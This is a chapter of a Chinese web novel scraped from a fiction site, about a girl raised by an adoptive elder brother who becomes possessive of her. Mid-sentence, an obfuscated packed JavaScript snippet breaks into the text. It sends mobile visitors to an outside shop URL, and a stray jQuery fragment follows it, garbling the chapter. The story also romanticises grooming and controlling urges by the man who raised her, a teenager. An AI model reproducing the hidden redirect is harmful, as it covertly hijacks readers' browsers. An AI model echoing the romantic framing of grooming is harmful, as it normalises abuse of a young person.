文趣网 > 其他小说 > 被双胞胎竹马轮番娇养 > 15.第 15 章
    顾府东院,房间里隐隐传来焦躁翻身的动静。

    顾忠良猛地多起身揉了揉眉心,不耐地看着身旁妻子,心里火大:

    “你有完没完?这么晚了还让不让睡了?!”

    林寂容跟着起身,不安地往窗外看了一眼:

    “老爷没听到么?外面的动静,二郎怕是……知道了。”

    顾忠良神色清醒了几分,冷笑地看着她:

    “你现在知道怕了?可惜人都已经死了,你那日做下这事的时候可想过后果?”

    他将自己的被子从林寂容身下扯过来,哼了声:

    “反正你做下那些事我是不知情,回头二郎找过来,我可不管!”

    “你……”林寂容气结。

    她一把将他抢过去的被子抱起来砸在丈夫身上,色厉内荏道:

    “不管就不管!我还不是为了二郎好!二郎如今眼瞅着就要议亲,下一步便是跟庭安一样走入仕途,留着那何氏终归是个把柄,总叫人诟病二郎幼时被匪贼收养过……”

    “那是因为谁?谁当初非要将他丢下?”

    “我那不是看庭安体弱……”

    “行了行了!”

    顾忠良转过身背对林寂容睡下,将被子往头上一蒙,“睡了!我明日还有要事要出行!”

    林寂容看着丈夫决绝冷漠的背影,眼圈微红,咬了咬牙也跟着躺下。

    -

    打从那夜顾晏今离开后,姜柠溪又有两日未见过他。

    不过姜柠溪都已经习惯了,从小顾晏今就放肆不羁,不像顾庭安即便晚归府几个时辰都会派人来跟府中知会一声,顾晏今则是动不动就几日不回府。

    所以这次他半夜突然离开,两日不见人姜柠溪也没有多想。

    倒是顾庭安让姜柠溪心生纠结。

    那夜过后,她第二日趁着他下值回府就去找过他一回,但被守在门口的乘风被以“大公子正在见客”给挡了回去。

    到晚间的时候她再去,人倒是见到了。

    只是那时候顾庭安正伏在书案上写东西,见她来,他抬头看了她一眼,依旧是那副温和的样子,笑道:

    “柠柠来了,哥哥还有些公务未处理完,柠柠若是着急可先回。”

    姜柠溪没走,坐在他对面的罗汉榻上,想着等他忙完与他说说话。

    顾庭安看见后也没说什么,只是让乘风拿了她惯爱吃的果子和糕点过来。

    后来等着等着,姜柠溪就靠在榻上睡着了,等她半夜惊醒的时候,发现自己依旧躺在罗汉榻上,身上盖了件庭安哥哥的衣裳。

    屋里漆黑一片,安静得令人害怕,庭安哥哥更是不知何时离开的。

    那一刻姜柠溪心里的委屈和恐惧瞬间达到了顶点。

    从前她不小心在顾庭安面前睡着,醒来后总是在他温暖的被窝,身上也会被妥帖地换好柔软的寝衣,有时候还会被庭安哥哥拥在怀中。

    何时像今日这样过,被他不管不顾地扔在冷冰冰的榻上,身上只盖了件衣裳的。

    姜柠溪赌气地脱掉罗袜,光着脚踩在地板上,在屋子里来回找起来。

    平时若是她光脚踩在地上,庭安哥哥早出现将她抱回去了,可这次她走了一圈都没有见到想见到的人影。

    她的小脸一垮,知道庭安哥哥这次是真的生气了。

    那日她本就拒绝了他,还独自离开,后来夜里明明他和顾晏今都在,她却只同顾晏今说话而忽略他,想必他心里对她失望了吧。

    姜柠溪蜷缩在榻上,双臂环住膝盖,将顾庭安的外衣抱在怀中,吸了吸鼻子。

    顾晏今那夜告诉过她,她不必讨好任何人,不喜欢掀了桌儿就好。

    可那人不是旁人、也不是任何人,他是她的庭安哥哥,是从小手把手教她长大的兄长。

    她看过的每一本书、写过的每一个字、识过的每一个礼全是他亲手所教。

    甚至初次来癸水时的慌乱,也是他悉心安抚,亲自替她挑选准备干净柔软的月事带,再手把手教会她如何去用。

    她还傻乎乎地仰着小脸问他,为何小时候的尿布他给她换,长大后的月事带却要她自己学。

    庭安哥哥摸着她的头笑笑,说柠柠现在长大了,和哥哥男女有别。

    姜柠溪记得她小时候调皮,有一段时间很不听话,后来有一次她爬上一棵高高的树掏鸟窝,却怎么也下不来了,最后是闻讯赶来的顾庭安在树下接住了体力不支掉下来的她。

    等她下来后,他第一次厉声训斥了她,还罚她跪了祠堂。

    祠堂阴森森的,面对林立的牌位姜柠溪害怕极了,可谁知她才跪下没多久顾庭安也来了,在她身旁一同跪下。

    他说没有教导好她是他之过,所以他亦当受罚。

    姜柠溪当时眼泪就掉下来了,哭哭啼啼地向他保证自己今后再不将自己置于危险之中。

    后来她才知道,当时庭安哥哥为了接住她,被砸折了一条手臂,他却害怕她会自责而从未告诉过她。

    在她这十几年的人生中,顾庭安就像她的亲哥哥、像老师、有时候甚至像她的父亲。

    她离不开他,也不想掀他的桌。

    姜柠溪想了半宿,第二日恰逢顾庭安休沐,上午她早早就去了栖云居。

    路过一处花园的时候,她隐约听到了顾晏今的名字。

    姜柠溪脚步一顿悄悄凑了上去,只听一人叹道:

    “也不知怎么了,二公子一回来就和夫人闹上了……”

    “我听说啊,”另一人道,“好像是二公子的养母去世了,不知为何二公子怀疑此事是夫人所为,嘘……快别说了,这些事是你我能议论的吗?当心让世子爷知道将你我发卖了。”

    姜柠溪愣愣呆在原地,看那两人走远,半晌才回过神来。

    顾晏今的养母去世了……

    是那位陆夫人么?他曾带她去见过一面那位陆夫人,是一位很和蔼很好看的夫人,还给她做了好吃的糯米饼。

    她去世了,那顾晏今他……

    姜柠溪又想起了那夜顾晏今同她讲的秘密,他是被遗弃的,他此前说过只有养母对他好……

    姜柠溪心事重重,脚步都慢了不少,到了栖云居门口站了半天,还是乘风先发现她,唤了她一声她才反应过来。

    姜柠溪深吸一口气,调整了心情,笑着上前,“乘风哥,庭安哥哥在里面吗?我……”

    话未说完,就听一旁主卧的门响了,顾庭安的身影出现在门口。

    姜柠溪一愣,往他身上看了眼。

    男人一身天青色直襟锦袍,衣领和袖口都绣着银丝云纹滚边衣裳的垂感极好,腰束月白色祥云纹的腰带,收束得一丝不苟,衬出他健硕颀长的身形,给人一种温润清隽又高不可攀的贵气。

    姜柠溪许久没见他穿得这般好看过,不禁愣了愣,随即笑着跑过去:

    “庭安哥哥,你今日好好看呀!”

    顾庭安嘴角噙笑,眼底落满温和的晨光,“这么早就来了。”

    “唔,”姜柠溪颔首,飞快瞥了他一眼,“昨夜又把罗袜忘在了这里。”

    她轻轻垂眸,自以为表现得天衣无缝,然而顾庭安略往她脸上扫了一眼,就看穿了她的小心思——哪里是将罗袜忘在了这里,分明是故意丢在这里好今日借口过来。

    看着她晕着霞粉的脸颊和因为紧张微微扑扇的长睫,顾庭安的喉咙里突然间涌上一股细微的痒意。

    好几日没见妹妹了啊,昨夜看着她熟睡时毫无防备的样子,他的手掌在她脚腕间摩挲了好久,才勉强克制住自己没有立刻将她绑起来。

    顾庭安垂下眼眸,视线居高临下地锁在她的脸上,喉结缓慢地滑滚。

    好半天,男人收回视线,重新换上那副温和又带着恰到好处的疏离的神情,道:

    “我此刻有事要出去,让乘风带你寻你的罗袜,早起风凉,柠柠回去时在我衣橱寻一件披风披上。”

    说罢,顾庭安抬步就要走。

    姜柠溪一看他又要走,急了,连忙追上他的背影,忐忑道:

    “哥哥要出去吗?你要去哪儿?”

    顾庭安脚步顿住,回头看向她,语气认真:

    “今日李府老夫人寿宴,父亲不在,我自然是和母亲一道过府庆寿。”

    “啊?”

    原来庭安哥哥今

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733511|208931||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    日穿这么好看,是为了去见李家小姐么?

    姜柠溪咬了咬唇,偷偷瞄了眼顾庭安的神色,小声道:

    “哥哥不是说、不是说……”

    “嗯?”顾庭安唇角噙笑,神色温柔而无辜地看向她,“说什么?”

    姜柠溪见他忘了那日答应自己的事,心生委屈,忽然一跺脚不管不顾地扑上去死死抱住了他的腰:

    “哥哥忘了!你答应过我不会去李府的,也、也不会叫李家小姐再叫你庭安哥哥的!”

    顾庭安挑眉,轻轻将人从怀中推开:

    “可我那日分明问过柠柠,若是我与李小姐同床共枕、出双入对……”

    “我不许!”

    顾庭安仅仅只是穿着这身衣裳要去见李小姐,她心里就难过得不得了,倘若今后他真与李小姐事事亲密,那她……她怎么办……

    姜柠溪眼眶红红的,抬起小脸睁着一双泪汪汪的大眼睛看着顾庭安,委屈地揪着他的袖子晃了晃:

    “我、我想好了,我想同哥哥做夫妻,想……与哥哥永远在一起。”

    顾庭安的呼吸猛地一紧,唇角笑意僵滞,盯着她视线渐渐沉了下来。

    姜柠溪看不懂他的神情,只觉得他眼神中涌起的惊涛骇浪有些令人害怕。

    “我、我只乱说的,倘若哥哥不愿……”

    她小小的瑟缩了一下,正打算放开他,岂料手腕猛地被他钳住。

    他的体温此刻灼热得吓人,力道大得她有些疼。

    “庭安哥哥……”

    姜柠溪怯怯的,不懂他是怎么了,心里忐忑是不是自己又做错了什么。

    还不等她想明白,顾庭安忽然松开了她,轻笑着揉了揉她的发顶,摩挲着她泛红的手腕,愧疚道:

    “疼了么?”

    那个熟悉又温柔的哥哥回来了,姜柠溪松了口气,鼻尖酸酸的,委屈巴巴点头。

    顾庭安将她的小手握进手中,拉着她就往屋子里走。

    姜柠溪走出两步忽然问:

    “哥哥不去李老夫人寿宴了么?”

    “嗯。”

    顾庭安没再逗她,淡淡应了声。

    说起来,他本也没打算去,那样的寿宴烦人得紧,他连应付都懒得应付。

    刚一进到房间里,姜柠溪就扑进了他怀里不撒手。

    顾庭安低头看着她毛茸茸的脑袋,有些无奈地笑了笑,将人托抱起来,走到书架上拿起一本放在最上层的书,随后抱着人坐回了窗下的榻上。

    姜柠溪有些好奇地盯着他手中的书,那书的封皮上一个字也没有,看不出来是什么书,不过能被庭安哥哥放在最高处的书,应当很重要。

    见她探着个小脑袋,顾庭安将书放回榻几上,拉过她的小脚一边给她穿罗袜,一边笑问:

    “想知道是什么?”

    姜柠溪小鸡啄米一般点头。

    小姑娘的鼻头还红红的,长长的眼睫毛上也水汪汪的,乖乖点头的样子煞是可爱,让人心里忍不住发软。

    顾庭安轻笑了声,将她抱坐在自己腿上,自身后环住她,拿起那本书。

    “柠柠既然答应同哥哥做夫妻,那么哥哥也该教柠柠一些夫妻间该做的事情——”

    顾庭安看向怀中姑娘懵懂的眼神,一字一句慢条斯理地问:

    “柠柠……可愿意学?”

    顾庭安的怀抱不同于顾晏今那般总是格外滚烫,他的怀抱温温的很舒服,靠进去他总能找到最让她舒服的角度。

    姜柠溪靠着他,略微侧首仰起头看他,男人说话时低头凑近,低醇的语调挟着温凉气息轻轻落在她耳后,有些痒。

    姜柠溪张了张嘴,心跳莫名加速,“是……同那日接吻一样么?”

    顾庭安又笑了,眉眼温和而雅致,一副公子如玉的模样。

    似乎从方才进屋起,他就总是爱笑。

    骨节分明的手在日光下,被深蓝色的封面一衬,润得如玉一般。

    姜柠溪甚至觉得那只手都在散发着光。

    随后她就见庭安哥哥那只修长的、好看到让人多看一眼都觉是亵渎的手,拢着她的腰,不紧不慢翻开了第一页。